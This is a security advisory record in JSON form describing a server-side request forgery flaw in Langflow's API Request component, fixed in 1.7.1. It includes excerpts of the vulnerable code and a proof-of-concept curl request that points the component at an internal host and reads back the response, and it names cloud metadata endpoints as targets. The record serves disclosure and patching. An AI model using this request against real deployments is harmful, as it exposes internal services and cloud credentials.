{"id":"PYSEC-2026-1522","summary":"Langflow vulnerable to Server-Side Request Forgery","details":"**Vulnerability Overview**\n\n\nLangflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127.0.0.1, the 10/172/192 ranges) or cloud metadata endpoints (169.254.169.254), and it returns the response body as the result.\n\nBecause the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible—accessing internal resources from the server’s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks.\n\n**Vulnerable Code**\n \n1. When a flow runs, the API Request URL is set via user input or tweaks, or it falls back to the value stored in the node UI.\n    \n    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L349-L359\n    \n    ```python\n    @router.post(\"/run/{flow_id_or_name}\", response_model=None, response_model_exclude_none=True)\n    async def simplified_run_flow(\n        *,\n        background_tasks: BackgroundTasks,\n        flow: Annotated[FlowRead | None, Depends(get_flow_by_id_or_endpoint_name)],\n        input_request: SimplifiedAPIRequest | None = None,\n        stream: bool = False,\n        api_key_user: Annotated[UserRead, Depends(api_key_security)],\n        context: dict | None = None,\n        http_request: Request,\n    ):\n    ```\n    \n    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L573-L588\n    \n    ```bash\n    @router.post(\n        \"/run/advanced/{flow_id_or_name}\",\n        response_model=RunResponse,\n        response_model_exclude_none=True,\n    )\n    async def experimental_run_flow(\n        *,\n        session: DbSession,\n        flow: Annotated[Flow, Depends(get_flow_by_id_or_endpoint_name)],\n        inputs: list[InputValueRequest] | None = None,\n        outputs: list[str] | None = None,\n        tweaks: Annotated[Tweaks | None, Body(embed=True)] = None,\n        stream: Annotated[bool, Body(embed=True)] = False,\n        session_id: Annotated[None | str, Body(embed=True)] = None,\n        api_key_user: Annotated[UserRead, Depends(api_key_security)],\n    ) -\u003e RunResponse:\n    ```\n    \n2. Normalization/validation stage: It only checks that the URL is non-empty and well-formed. No blocking of private networks, localhost, or IMDS.\n    \n    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L280-L289\n    \n    ```python\n        def _normalize_url(self, url: str) -\u003e str:\n            \"\"\"Normalize URL by adding https:// if no protocol is specified.\"\"\"\n            if not url or not isinstance(url, str):\n                msg = \"URL cannot be empty\"\n                raise ValueError(msg)\n    \n            url = url.strip()\n            if url.startswith((\"http://\", \"https://\")):\n                return url\n            return f\"https://{url}\"\n    ```\n    \n    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L433-L438\n    \n    ```python\n            url = self._normalize_url(url)\n    \n            # Validate URL\n            if not validators.url(url):\n                msg = f\"Invalid URL provided: {url}\"\n                raise ValueError(msg)\n    ```\n    \n3. On the server side, it sends a request to an arbitrary URL using httpx.AsyncClient and exposes the response body as metadata[\"result\"].\n    \n    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L312-L322\n    \n    ```python\n            try:\n                # Prepare request parameters\n                request_params = {\n                    \"method\": method,\n                    \"url\": url,\n                    \"headers\": headers,\n                    \"json\": processed_body,\n                    \"timeout\": timeout,\n                    \"follow_redirects\": follow_redirects,\n                }\n                response = await client.request(**request_params)\n    ```\n    \n    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L335-L340\n    \n    ```python\n                # Base metadata\n                metadata = {\n                    \"source\": url,\n                    \"status_code\": response.status_code,\n                    \"response_headers\": response_headers,\n                }\n    ```\n    \n    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L364-L379\n    \n    ```python\n                # Handle response content\n                if is_binary:\n                    result = response.content\n                else:\n                    try:\n                        result = response.json()\n                    except json.JSONDecodeError:\n                        self.log(\"Failed to decode JSON response\")\n                        result = response.text.encode(\"utf-8\")\n    \n                metadata[\"result\"] = result\n    \n                if include_httpx_metadata:\n                    metadata.update({\"headers\": headers})\n    \n                return Data(data=metadata)\n    ```\n    \n\n### PoC\n\n---\n\n**PoC Description**\n \n- I launched a Langflow server using the latest `langflowai/langflow:latest` Docker container, and a separate container `internal-api` that exposes an internal-only endpoint `/internal` on port 8000. Both containers were attached to the same user-defined network (`ssrf-net`), allowing communication by name or via the IP 172.18.0.3.\n- I added an API Request node to a Langflow flow and set the URL to the internal service (`http://172.18.0.3:8000/internal`). Then I invoked `/api/v1/run/advanced/\u003cFLOW_ID\u003e` with an API key to perform SSRF. The response returned the internal service’s body in the `result` field, confirming non-blind SSRF.\n\n**PoC**\n\n- Langflow Setting\n    \n    \u003cimg width=\"1917\" height=\"940\" alt=\"image\" src=\"https://github.com/user-attachments/assets/96b0d770-b260-440f-9205-1583c108e12f\" /\u003e\n    \n- Exploit\n    \n    ```bash\n    curl -s -X POST 'http://localhost:7860/api/v1/run/advanced/0b7f7713-d88c-4f92-bcf8-0dafe250ea9d' \\\n      -H 'Content-Type: application/json' \\\n      -H 'x-api-key: sk-HHc93OjH_4ep_EhfWrweP1IwpooJ3ZZnYOu-HgqJV4M' \\\n      --data-raw '{\n        \"inputs\":[{\"components\":[],\"input_value\":\"\"}],\n        \"outputs\":[\"Chat Output\"],\n        \"tweaks\":{\"API Request\":{\"url_input\":\"http://172.18.0.3:8000/internal\",\"include_httpx_metadata\":false}},\n        \"stream\":false\n      }' | jq -r '.outputs[0].outputs[0].results.message.text | sub(\"^```json\\\\n\";\"\") | sub(\"\\\\n```$\";\"\") | fromjson | .result'\n    ```\n    \n    \u003cimg width=\"1918\" height=\"1029\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4883029f-bd56-4c23-b5a3-6f8a84dbcce1\" /\u003e\n    \n\n### Impact\n\n---\n\n- Scanning internal assets and data exfiltration: Attackers can access internal administrative HTTP endpoints, proxies, metrics dashboards, and management consoles to obtain sensitive information (versions, tokens, configurations).\n- Access to metadata services: In cloud environments, attackers can use 169.254.169.254, etc., to steal instance metadata and credentials.\n- Foothold for attacking internal services: Can forge requests by abusing inter-service trust and become the starting point of an SSRF→RCE chain (e.g., invoking an internal admin API).\n- Non-blind: Because the response body is returned to the client, attackers can immediately view and exploit the collected data.\n- Risk in multi-tenant environments: Bypassing tenant boundaries can cause cross-leakage of internal network information, resulting in high impact. Even in single-tenant setups, the risk remains high depending on internal network policies.","aliases":["CVE-2025-68477","GHSA-5993-7p27-66g5"],"modified":"2026-07-07T17:46:48.092561812Z","published":"2026-07-07T16:03:13.875150Z","references":[{"type":"WEB","url":"https://github.com/langflow-ai/langflow/security/advisories/GHSA-5993-7p27-66g5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-68477"},{"type":"PACKAGE","url":"https://github.com/langflow-ai/langflow"},{"type":"PACKAGE","url":"https://pypi.org/project/langflow"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-5993-7p27-66g5"}],"affected":[{"package":{"name":"langflow","ecosystem":"PyPI","purl":"pkg:pypi/langflow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.7.1"}]}],"versions":["0.0.31","0.0.32","0.0.33","0.0.40","0.0.44","0.0.45","0.0.46","0.0.52","0.0.53","0.0.54","0.0.55","0.0.56","0.0.57","0.0.58","0.0.61","0.0.62","0.0.63","0.0.64","0.0.65","0.0.66","0.0.67","0.0.68","0.0.69","0.0.70","0.0.71","0.0.72","0.0.73","0.0.74","0.0.75","0.0.76","0.0.78","0.0.79","0.0.80","0.0.81","0.0.83","0.0.84","0.0.85","0.0.86","0.0.87","0.0.88","0.0.89","0.1.0","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.2.0","0.2.1","0.2.10","0.2.11","0.2.12","0.2.13","0.2.2","0.2.3","0.2.4","0.2.5","0.2.6","0.2.7","0.2.8","0.2.9","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.4.0","0.4.1","0.4.10","0.4.11","0.4.12","0.4.14","0.4.15","0.4.16","0.4.17","0.4.18","0.4.19","0.4.2","0.4.20","0.4.21","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.4.9","0.5.0","0.5.0a0","0.5.0a1","0.5.0a2","0.5.0a3","0.5.0a4","0.5.0a5","0.5.0a6","0.5.0b0","0.5.0b2","0.5.0b3","0.5.0b4","0.5.0b5","0.5.0b6","0.5.1","0.5.10","0.5.11","0.5.12","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.0rc1","0.6.1","0.6.10","0.6.11","0.6.12","0.6.14","0.6.15","0.6.16","0.6.17","0.6.18","0.6.19","0.6.2","0.6.3","0.6.3a0","0.6.3a1","0.6.3a2","0.6.3a3","0.6.3a4","0.6.3a5","0.6.3a6","0.6.3a7","0.6.4","0.6.4a0","0.6.4a1","0.6.5","0.6.5a0","0.6.5a1","0.6.5a10","0.6.5a11","0.6.5a12","0.6.5a13","0.6.5a2","0.6.5a3","0.6.5a4","0.6.5a5","0.6.5a6","0.6.5a7","0.6.5a8","0.6.5a9","0.6.6","0.6.7","0.6.7a1","0.6.7a2","0.6.7a3","0.6.7a5","0.6.8","0.6.9","1.0.0","1.0.0a0","1.0.0a1","1.0.0a10","1.0.0a11","1.0.0a12","1.0.0a13","1.0.0a14","1.0.0a15","1.0.0a17","1.0.0a18","1.0.0a19","1.0.0a2","1.0.0a20","1.0.0a21","1.0.0a22","1.0.0a23","1.0.0a24","1.0.0a25","1.0.0a26","1.0.0a27","1.0.0a28","1.0.0a29","1.0.0a3","1.0.0a30","1.0.0a31","1.0.0a32","1.0.0a33","1.0.0a34","1.0.0a35","1.0.0a36","1.0.0a37","1.0.0a38","1.0.0a39","1.0.0a4","1.0.0a40","1.0.0a41","1.0.0a42","1.0.0a43","1.0.0a44","1.0.0a45","1.0.0a46","1.0.0a47","1.0.0a48","1.0.0a49","1.0.0a5","1.0.0a50","1.0.0a51","1.0.0a52","1.0.0a53","1.0.0a55","1.0.0a56","1.0.0a57","1.0.0a58","1.0.0a59","1.0.0a6","1.0.0a60","1.0.0a61","1.0.0a7","1.0.0a8","1.0.0a9","1.0.0rc0","1.0.0rc1","1.0.1","1.0.10","1.0.11","1.0.12","1.0.13","1.0.14","1.0.15","1.0.16","1.0.17","1.0.18","1.0.19","1.0.19.post1","1.0.19.post2","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.1","1.1.2","1.1.3","1.1.4","1.1.4.post1","1.2.0","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.4.0","1.4.1","1.4.2","1.4.3","1.5.0","1.5.0.post1","1.5.0.post2","1.5.1","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.7.0"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/langflow/PYSEC-2026-1522.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"}]}